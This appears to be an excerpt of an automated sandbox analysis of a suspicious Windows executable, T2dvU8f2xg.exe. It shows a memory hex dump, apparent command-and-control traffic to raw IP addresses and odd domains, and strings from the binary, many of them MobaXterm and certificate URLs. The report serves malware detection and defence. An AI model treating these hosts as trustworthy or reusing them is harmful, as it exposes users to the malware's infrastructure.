b5 50 7f fc 01 00 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b b9 85 41 f8 7f 00 00 19 00 0e 00 00 00 00 00 a0 03 00 00 00 00 00 00 30 34 53 7f fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a f8 7f 00 00 d4 ac 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a fc 01 00 00 00 00 00 00 00 00 00 00 03 00 00 03 fc 01 00 00 c4 02 4b 7f fc 01 00 00 68 4b 8a 41 f8 7f 00 00 90 00 00 00 00 00 00 00 0c 06 00 0a fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 03 00 00 00 00 88 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 50 7f fc 01 00 00 89 f8 ff 05 02 00 00 00 08 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 00 00 00 00 00 90 03 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 50 7f fc 01 00 00 3a 00 00 00 00 00 00 00 4d b4 85 41 f8 7f 00 00 00 00 50 7f fc 01 00 00 0a 00 30 00 00 00 00 00 90 03 00 00 00 00 00 00 64 43 88 41 f8 7f 00 00 00 05 50 7f fc 01 00 00 44 f8 ff 05 02 00 00 00 00 00 00 00 03 00 00 00 ee 44 88 41 f8 7f 00 00 20 2b 88 41 f8 7f 00 00 50 0b 50 7f fc 01 00 00 60 08 53 7f fc 01 00 00 a6 ff 84 41 f8 7f 00 00 60 08 53 7f fc 01 00 00 70 f2 fa 83 a6 a4 00 00 Data Ascii: &AX+?
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: Z01oeZp0RyHViA8BlsX5ww==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: INTaygQMctiSZLxNTEhkuw==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: WR2Jv3jZ9sYECBfB7QiYYw==

Source: global traffic	DNS traffic detected: DNS query: scrt1.nyazz.com
Source: global traffic	DNS traffic detected: DNS query: ssh.0523qyfw.com
Source: global traffic	DNS traffic detected: DNS query: www.61xdm.com

Source: unknown

HTTP traffic detected: POST /count HTTP/1.1Host: 154.19.200.133:8087Accept: */*Content-Length: 0Content-Type: application/x-www-form-urlencoded

Source: T2dvU8f2xg.exe	String found in binary or memory: http://154.19.200.133:8087
Source: T2dvU8f2xg.exe	String found in binary or memory: http://154.19.200.133:8087/count
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bdsatish.in/lang/tel-kagapa.png
Source: T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colemak.c
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSAExtendedValidationCodeSigningCA.crl0
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://download.mobatek.net/sources/
Source: T2dvU8f2xg.exe, 00000000.00000003.1628398864.00000000FC1AA000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1531130821.0000000009C23000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1618082385.00000000FDF29000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: T2dvU8f2xg.exe, 00000000.00000002.3795177151.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mobaxterm.mobatek.net
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0D
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0D
Source: T2dvU8f2xg.exe, 00000000.00000002.3801556769.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://scripts.sil.org/OFL
Source: T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wiki.laptop.org/go/Image
Source: T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baraha.com/help/Keyboards/tel_brhkbd.htm
Source: T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cherokee.org/ext
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.ietf.org/rfc/rfc3075.txt
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.ietf.org/rfc/rfc3275.txt
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.openssh.com/faq.html#2.9
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://x.ss2.us/x.cer
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: http://x.ss2.us/x.cerSV
Source: T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397112590.000000000B6D7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1405552954.000000000A973000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.mobatek.net/post/how-to-keep-X11-display-after-su-or-sudo/
Source: T2dvU8f2xg.exe, 00000000.00000003.1655652143.00000000FFC6B000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1810369076.000000000E842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.freedesktop.org/enter_bug.cgi?product=Mesa
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://console.aws.amazon.com/iam
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/hsts.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: T2dvU8f2xg.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dejavu-fonts.github.io/)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dejavu-fonts.github.io/License.html)
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://download.mobatek.net/previewcygutils/
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://download.mobatek.net/previewcygutils/MobaXtermYou
